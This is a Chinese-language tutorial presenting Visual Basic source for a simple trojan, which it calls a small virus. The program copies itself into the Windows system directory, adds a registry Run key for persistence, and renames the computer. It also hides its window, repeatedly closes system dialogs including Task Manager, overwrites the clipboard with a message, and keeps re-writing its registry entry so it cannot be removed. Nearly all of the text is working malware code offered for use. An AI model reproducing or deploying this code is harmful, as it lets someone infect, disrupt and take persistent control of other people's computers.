簡單的木馬模板 模式

GetForegroundWindow  獲得前臺窗口的句柄
GetClassName     爲指定的窗口取得類名
PostMessage       將一條消息投遞到指定窗口的消息隊列
GetWindowText    取得一個窗體的標題文字
SetComputerName  設置新的計算機名
GetSystemDirectory    取得Windows系統目錄
GetWindow        獲得一個窗口的句柄
ShowWindow      控制窗口的可見性
RegOpenKey       打開一個現有的註冊表項
RegQueryValueEx   獲取一個項的設置值
RegSetValueEx     設置指定項的值
RegCloseKey       關閉系統註冊表中的一個項

Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const GW_OWNER = 4
Public Const SW_HIDE = 0
’在寫一個修改註冊表的子過程
Public Sub regedit(strPath As String, strKey As String, strValue As String)
Dim l As Long
Dim s As String
Dim s1 As String
Dim n As Long
Dim keyhand As Long
s = String(255, Chr(0))
s1 = String(255, Chr(0))
n = 255
l = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
 
If l = 0 Then 是否打開
    l = RegQueryValueEx(keyhand, strKey, 0, 1, ByVal s, 255) 
 If l <> 0 Then 是否也有
l = RegSetValueEx(keyhand, strKey, 0, 1, ByVal strValue, LenB(strValue))
’修改註冊表
End If
 
End If
 
l = RegCloseKey(keyhand)
’關閉
 
End Sub
2         回到FORM1雙擊窗休:
Option Explicit
Dim systempath As String
選擇LOAD事件
Private Sub Form_Load()
 
Dim K As Long
'不準重複打開這個程序
Dim title As String
If App.PrevInstance Then
title = App.title
App.title = ""
Me.Caption = ""
AppActivate title
End
End If
'--------------
'得到系統的系統目錄
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1)
'自我複製到系統目錄
If Not Dir(systempath & "/" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "/" & App.EXEName & ".exe", systempath & "/" & "liuning.exe"
 
End If
'自動運行
regedit "SOFTWARE/Microsoft/Windows/CurrentVersion/Run", "甯王小病毒", systempath & "/" & "liuning" & ".exe"
'計算機改名
SetComputerName "QQ122273014"
'隱藏
K = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow K, SW_HIDE
Timer1.Enabled = True
Me.Hide
End Sub
再添加一個TIME1控件
Private Sub Timer1_Timer()
'重點
Dim K As Long
Dim s As String
Dim s1 As String
Static n As Long
s = Space(19)
s1 = Space(19)
'得到句柄
K = GetForegroundWindow
 
'得到類名
GetClassName K, s, 20
'查看當前程序的標題
GetWindowText K, s1, 20
 
'打開的是QQ或是其它類名是#32770時關閉
If Left(s, 6) = "#32770" Then
' 打開的是WIN管理器
   If Left(s1, 7) = "Windows" Then
     PostMessage K, &H10, 0&, 0& ’關閉程序
    
     Exit Sub
   End If
n = n + 1
If n >= 40 Then
PostMessage K, &H10, 0&, 0& ’關閉程序
n = 0
End If
End If
'認用戶粘貼時就會出現
Clipboard.Clear
Clipboard.SetText "我是甯王我怕誰,我愛你！"
'不準刪除註冊表裏的信息
regedit "SOFTWARE/Microsoft/Windows/CurrentVersion/Run", "甯王小病毒", systempath & "/" & "liuning" & ".exe"
 
End Sub